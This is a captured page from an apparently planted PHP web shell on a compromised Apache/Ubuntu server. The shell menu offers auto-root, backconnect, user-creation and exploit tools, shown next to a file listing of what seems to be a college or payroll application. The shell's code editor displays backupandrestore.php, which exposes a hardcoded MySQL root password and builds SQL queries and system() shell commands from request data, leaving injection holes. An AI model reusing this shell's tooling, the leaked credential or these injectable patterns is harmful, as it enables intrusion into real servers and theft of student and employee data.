Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.133.149.244
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
reva /
src03.05.2016 /
[ HOME SHELL ]
Name
Size
Permission
Action
system
[ DIR ]
drwxr-xr-x
Dispatch_ans_script_setup.php
5.84
KB
-rwxr-xr-x
FormulaEvaluate.php
14.15
KB
-rwxr-xr-x
MarkEntry-Setup.php
21.6
KB
-rwxr-xr-x
MarkEntry-Setup06062012.php
20
KB
-rwxr-xr-x
MarkEntry-Setup140911.php
20
KB
-rwxr-xr-x
MarkEntry-Setup26062012.php
20.68
KB
-rwxr-xr-x
TarkaFormatStyles.php
15.37
KB
-rwxr-xr-x
TarkaFormatStyles_old.php
3.71
KB
-rwxr-xr-x
absent_entry_setup.php
7.64
KB
-rwxr-xr-x
actClass.php
6.21
KB
-rwxr-xr-x
admission_entry_status.php
2.73
KB
-rwxr-xr-x
auto-complete.php
4.89
KB
-rwxr-xr-x
backup_restore.php
8.14
KB
-rwxr-xr-x
backupandrestore.php
10.18
KB
-rwxr-xr-x
cManualMailer.php
2.54
KB
-rwxr-xr-x
caccesscontext.php
1.24
KB
-rwxr-xr-x
candidate-entry.php
34.88
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
cmailer.php
6.83
KB
-rwxr-xr-x
college_degree_status.php
5.86
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
create_all_grid_files.php
8.57
KB
-rwxr-xr-x
create_all_grid_group_files.ph...
9.94
KB
-rwxr-xr-x
create_all_grid_group_files_ol...
9.61
KB
-rwxr-xr-x
create_all_popup_files.php
5.93
KB
-rwxr-xr-x
create_all_schema_files.php
4.31
KB
-rwxr-xr-x
create_all_views.php
16.52
KB
-rwxr-xr-x
create_html_files.php
52.03
KB
-rwxr-xr-x
create_html_files_without_tab....
44.49
KB
-rwxr-xr-x
create_module_meta_columns.php
5.16
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
datadictionary.php
3.96
KB
-rwxr-xr-x
display_details_in_grid.php
96.56
KB
-rwxr-xr-x
display_details_in_grid_custom...
2.68
KB
-rwxr-xr-x
display_details_in_grid_studta...
96.56
KB
-rwxr-xr-x
download_upload.php
3.39
KB
-rwxr-xr-x
dynamicmastersdetails.php
117.45
KB
-rwxr-xr-x
dynamicmastersdetails_23.php
120
KB
-rwxr-xr-x
dynamicmastersdetails_one.php
119.36
KB
-rwxr-xr-x
entryexitevents.php
3.09
KB
-rwxr-xr-x
execute_query.php
2.51
KB
-rwxr-xr-x
export_import_setup.php
7.62
KB
-rwxr-xr-x
export_import_utility.php
2.67
KB
-rwxr-xr-x
format.php
7.43
KB
-rwxr-xr-x
freeze_Ad_Cl_Me.php
6.64
KB
-rwxr-xr-x
freeze_module_at_admin_college...
5.81
KB
-rwxr-xr-x
freeze_module_at_university_co...
7.45
KB
-rwxr-xr-x
general_report_format.php
11
KB
-rwxr-xr-x
getAutoCompleteFromFrameWork.p...
2.97
KB
-rwxr-xr-x
getdata.php
18.45
KB
-rwxr-xr-x
getdata110911.php
16.03
KB
-rwxr-xr-x
getdata14062012.php
16.8
KB
-rwxr-xr-x
getmoduledetails.php
23.7
KB
-rwxr-xr-x
getnumword.php
7.46
KB
-rwxr-xr-x
getreportdetails.php
3.21
KB
-rwxr-xr-x
getreportfilefordisplay.php
1.37
KB
-rwxr-xr-x
getsearchcondition.php
1.3
KB
-rwxr-xr-x
ggridmodel.php
9.27
KB
-rwxr-xr-x
golden_palm_payslip.php
12.48
KB
-rwxr-xr-x
helptext.php
5.38
KB
-rwxr-xr-x
identify_transactions.php
6.4
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
2.84
KB
-rwxr-xr-x
login.php_1
3.25
KB
-rwxr-xr-x
message_board.php
4.67
KB
-rwxr-xr-x
module_setup.php
2.48
KB
-rwxr-xr-x
mregistry.php
45.93
KB
-rwxr-xr-x
mrn_approval.php
9
KB
-rwxr-xr-x
report_setup.php
25.12
KB
-rwxr-xr-x
report_tool.php
73.03
KB
-rwxr-xr-x
revaluation.php
8.45
KB
-rwxr-xr-x
sendLoginPassword.php
3.09
KB
-rwxr-xr-x
serchbygrid.php
822
B
-rwxr-xr-x
student_entry.php
30.35
KB
-rwxr-xr-x
system_utility.php
1.84
KB
-rwxr-xr-x
systemsetup.php
77.01
KB
-rwxr-xr-x
transaction-series.php
4.86
KB
-rwxr-xr-x
update_defined_flag.php
3.41
KB
-rwxr-xr-x
uploadmoduledetails.php
39.65
KB
-rwxr-xr-x
usersetup.php
24.11
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : backupandrestore.php
<?php /*Author : Natesha Date : 2009-07-13 Project : Frame Work Description : This class is for to backup db */ //Start : 'backup_restore' Class class backup_restore { //Start : Constructor function __construct($aobj_context) { session_start(); $this->aobj_context=$aobj_context; $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); require_once($aobj_context->main_src."\src\employeeClass.php"); $this->obj_master=new employeeClass($aobj_context); $this->obj_master->backup_setup(); $this->user_id = $_SESSION['user_id']; } //End : Constructor /* This function is for to get market modules names*/ function getBackupDbList() { $get_target_db=" select internal_code,db_name as db, company_name as Db_name from paycheck_system.company_setup_header order by company_name"; $lobj_get_target_db = $this->aobj_context->mobj_db->getAll($get_target_db); $str_target_db=" <table align='center'width='40%' border='0' cellspacing='1' cellpadding='1'>"; $str_target_db.="<tr><td>"; $str_target_db="<table align='center' width='46%' border='0' cellpadding='' cellspacing=''>"; $str_target_db.="<tr>"; $str_target_db.="<td style='width:30px;'>"; $str_target_db.="<b> Check All </b><input type='checkbox' id='backup_db_check_all' onclick='getAllDbList()'>"; $str_target_db.="<b> Search </b><input type='text' id='backup_db_search' style='width:120px;' onKeyUp='getSearchDbList()'>"; $str_target_db.="<div style='overflow-y:scroll;overflow-y:auto;width:245px;height:227px;border:1px solid #cccccc;'>"; for($mdata = 0 ; $mdata < count($lobj_get_target_db) ; $mdata++) { $Db_name = $lobj_get_target_db[$mdata][Db_name]; $internal_code = $lobj_get_target_db[$mdata][internal_code]; $str_target_db.="<input type='checkbox' id = 'csr_db_{$internal_code}' name='{$internal_code}' /><label for='checkOption1'>{$Db_name}</label><br />"; } $str_target_db.="</div></td>"; $str_target_db.="</tr></table>"; $str_target_db.="</td> </tr></table>"; $arr['html']=$str_target_db ; $arr['db_names']=$lobj_get_target_db ; return $arr; } function serachBackupdbList() { $get_target_db=" select internal_code,db_name as db, company_name as Db_name from paycheck_system.company_setup_header where company_name like '{$this->search_value}%' "; $lobj_get_target_db = $this->aobj_context->mobj_db->getAll($get_target_db); $str_target_db=" <table align='center'width='40%' border='0' cellspacing='1' cellpadding='1'>"; $str_target_db.="<tr><td>"; $str_target_db="<table align='center' width='46%' border='0' cellpadding='' cellspacing=''>"; $str_target_db.="<tr>"; $str_target_db.="<td style='width:30px;'>"; $str_target_db.="<b> Check All </b><input type='checkbox' id='backup_db_check_all' onclick='getAllDbList()'>"; $str_target_db.="<b> Search </b><input type='text' id='backup_db_search' style='width:120px;' onKeyUp='getSearchDbList()'>"; $str_target_db.="<div style='overflow-y:scroll;overflow-y:auto;width:245px;height:227px;border:1px solid #cccccc;'>"; for($mdata = 0 ; $mdata < count($lobj_get_target_db) ; $mdata++) { $Db_name = $lobj_get_target_db[$mdata][Db_name]; $internal_code = $lobj_get_target_db[$mdata][internal_code]; $str_target_db.="<input type='checkbox' id = 'csr_db_{$internal_code}' name='{$internal_code}' /><label for='checkOption1'>{$Db_name}</label><br />"; } $str_target_db.="</div></td>"; $str_target_db.="</tr></table>"; $str_target_db.="</td> </tr></table>"; $arr['html']=$str_target_db ; $arr['db_names']=$lobj_get_target_db ; $arr['search_value']=$this->search_value; return $arr; } function createBackupDb() { $dbhost = "localhost"; $dbuser = "root"; $dbpass = "tarka"; if($dbpass == '') $pass_field = ""; else $pass_field = " -p"; $get_paths = "select internal_code,{$this->obj_master->backup_foder_path} as folder_path, {$this->obj_master->backup_mysql_path} as mysql_path from {$this->obj_master->backup_table} "; $lobj_get_paths = $this->aobj_context->mobj_db->GetRow($get_paths); $folder_path = $lobj_get_paths[folder_path]; $mysql_path = $lobj_get_paths[mysql_path]; for($back_db = 0 ;$back_db < count($this->larr_backup_db_data);$back_db++) { $db_name = $this->larr_backup_db_data[$back_db]->db_name; $getdb_name = "select count(*) as count from information_schema.SCHEMATA where schema_name='{$db_name}' "; $lobj_getdb_name = $this->aobj_context->mobj_db->GetRow($getdb_name); if($lobj_getdb_name[count] == 0) return $db_name; } system(mkdir($folder_path.date("Ymd"))); $folder_path=$folder_path.date("Ymd")."\\"; for($back_db = 0 ;$back_db < count($this->larr_backup_db_data);$back_db++) { $db_name = $this->larr_backup_db_data[$back_db]->db_name; $backupFile = $db_name .'_'. date("Ymd").'.sql'; $command = "{$mysql_path}mysqldump --opt -h {$dbhost} -u {$dbuser}{$pass_field}{$dbpass} {$db_name} > {$folder_path}{$backupFile}"; ; system(($command),$retval); } } function restoreBackupDb() { $dbhost = "localhost"; $dbuser = "root"; $dbpass = "tarka"; if($dbpass == '') $pass_field = ""; else $pass_field = " -p"; $get_paths = "select internal_code,{$this->obj_master->backup_foder_path} as folder_path, {$this->obj_master->backup_mysql_path} as mysql_path from {$this->obj_master->backup_table} "; $lobj_get_paths = $this->aobj_context->mobj_db->GetRow($get_paths); $folder_path = $lobj_get_paths[folder_path]; $mysql_path = $lobj_get_paths[mysql_path]; for($back_db = 0 ;$back_db < count($this->larr_backup_db_data);$back_db++) { $db_name = $this->larr_backup_db_data[$back_db]->db_name; $backupFile = $db_name .'_'. $this->inputdate.'.sql'; $file_path = $folder_path.$this->inputdate.'\\'.$backupFile; if(!file_exists($file_path)) return $db_name; } for($back_db = 0 ;$back_db < count($this->larr_backup_db_data);$back_db++) { $db_name = $this->larr_backup_db_data[$back_db]->db_name; $backupFile = $db_name .'_'. $this->inputdate.'.sql'; $file_path = $folder_path.$this->inputdate.'\\'.$backupFile; if(file_exists($file_path)) { $create_db = "create database if not exists {$db_name} "; $lobj_create_db = $this->aobj_context->mobj_db->execute($create_db); $command = "{$mysql_path}mysql -u $dbuser {$pass_field}{$dbpass} {$db_name} < {$file_path}"; system($command); } } return 0; } } //End : Class file function getBackupDbList($aobj_context) { $class_obj=new backup_restore($aobj_context); $db_list = $class_obj->getBackupDbList(); echo $aobj_context->mobj_output->ToJSONEnvelope($db_list,0,"Success"); } function serachBackupdbList($aobj_context) { $class_obj=new backup_restore($aobj_context); $class_obj->search_value = $aobj_context->mobj_data["search_value"]; $db_list = $class_obj->serachBackupdbList(); echo $aobj_context->mobj_output->ToJSONEnvelope($db_list,0,"Success"); } function createBackupDb($aobj_context) { ini_set("memory_limit",-1); ini_set('max_execution_time',2900); $class_obj=new backup_restore($aobj_context); $class_obj->backup_type = $aobj_context->mobj_data["type"]; $class_obj->backup_date = $aobj_context->mobj_data["date"]; include_once("/JSON.php"); $json = new Services_JSON(); $lstr_param_sal = stripslashes($aobj_context->mobj_data["backup_db_ids"]); $mobj_jsondata_sal = $json->decode($lstr_param_sal); $class_obj->larr_backup_db_data = get_object_vars($mobj_jsondata_sal); if($class_obj->backup_type == 'BackUp') { $backup_db_result = $class_obj->createBackupDb(); if(!empty($backup_db_result)) { $data = $backup_db_result . " Not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"Success"); } else if($backup_db_result == 0) { $data = "Database is dumped successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"Success"); } } else if ($class_obj->backup_type == 'Restore') { $date_arr = explode('/',$class_obj->backup_date); $day = $date_arr[0]; $month = $date_arr[1]; $year = $date_arr[2]; $class_obj->inputdate = $year.$month.$day; $restore_db_result = $class_obj->restoreBackupDb(); if(!empty($restore_db_result)) { $data = $restore_db_result . " database file not found"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,-1,"Success"); } else if($restore_db_result == 0) { $data = "Database is restored successfully"; echo $aobj_context->mobj_output->ToJSONEnvelope($data,0,"Success"); } } } ?>
Close